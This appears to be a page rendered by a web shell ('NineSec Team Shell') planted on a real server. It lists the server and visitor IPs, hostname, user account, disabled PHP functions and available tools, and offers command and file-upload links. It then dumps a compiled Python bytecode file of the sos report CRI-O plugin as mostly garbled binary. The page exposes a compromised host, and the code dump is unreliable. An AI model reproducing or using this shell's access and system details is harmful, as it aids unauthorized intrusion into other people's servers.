NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/crio.cpython-36.opt-1.pyc
3

~�g�@s:ddlmZmZmZmZmZmZGdd�deeee�ZdS)�)�Plugin�RedHatPlugin�UbuntuPlugin�SoSPredicate�	PluginOpt�	CosPluginc@sTeZdZdZdZdZdZdZedddd	�ed
ddd	�gZ	dd
�Z
dd�Zdd�ZdS)�CRIOzCRI-O containers�crio�	container�cri-o�	cri-tools�allFz0collect for all containers, even terminated ones)�defaultZdesc�logsz)collect stdout/stderr logs for containerscCsV|jdddddddg�|jdd	d
dg�|jdg�|jd
dd�|jt|dgd��ddddddddg}|jdd�|D��d}|jd�r�|�d�}d}d }|j|�}|j|�}|j|�}|j�xB|D]:}|jd!|��d"d#�|jd$�r�|jd%|��d&d'd(d)�q�Wx"|D]}	|jd*|	��dd#��qWx"|D]}
|jd+|
��dd#��q4WdS),Nz/etc/containersz/etc/crictl.yamlz/etc/crio/crio.confz/etc/crio/seccomp.jsonz/etc/crio/crio.conf.d/z!/etc/systemd/system/cri-o.servicez/etc/sysconfig/crio-*Z
HTTP_PROXYZHTTPS_PROXYZNO_PROXYZ	ALL_PROXYzcrio configz/etc/cniT)�	recursivez	cri-tools)�packages�info�images�podsZpszps -azps -vaZstats�versioncSsg|]}d|���qS)zcrictl �)�.0�srr�/usr/lib/python3.6/crio.py�
<listcomp>EszCRIO.setup.<locals>.<listcomp>zcrictl ps --quietr
z -azcrictl images --quietzcrictl pods --quietzcrictl inspect �
containers)�subdirrzcrictl logs -t zcontainers/logs�dZcrictl_logs)rZpriorityZtagszcrictl inspecti zcrictl inspectp )	�
add_copy_specZadd_env_varZadd_cmd_outputZadd_dir_listingZset_cmd_predicaterZ
get_option�_get_crio_list�_get_crio_goroutine_stacks)�selfZsubcmdsZps_cmdZimg_cmdZpod_cmdrrrr
ZimageZpodrrr�setups\








z
CRIO.setupcCsXg}|j|�}|ddkrTx|dj�D]}|j|�q(W|rTd|dkrT|jd�|S)NZstatusr�outputZ
deprecated)Zexec_cmd�
splitlines�append�pop)r!�cmd�ret�resultZentrrrrbs

zCRIO._get_crio_listcCs|jd�r|jd�dS)Nz^/usr/bin/crio$z/tmp/crio-goroutine-stacks*.log)Zsignal_process_usr1r)r!rrrr ms
zCRIO._get_crio_goroutine_stacksN)r
)rr)r	)
�__name__�
__module__�__qualname__Z
short_descZplugin_nameZprofilesrZservicesrZoption_listr"rr rrrrrs
DrN)Zsos.report.pluginsrrrrrrrrrrr�<module>s 

NineSec Team - 2022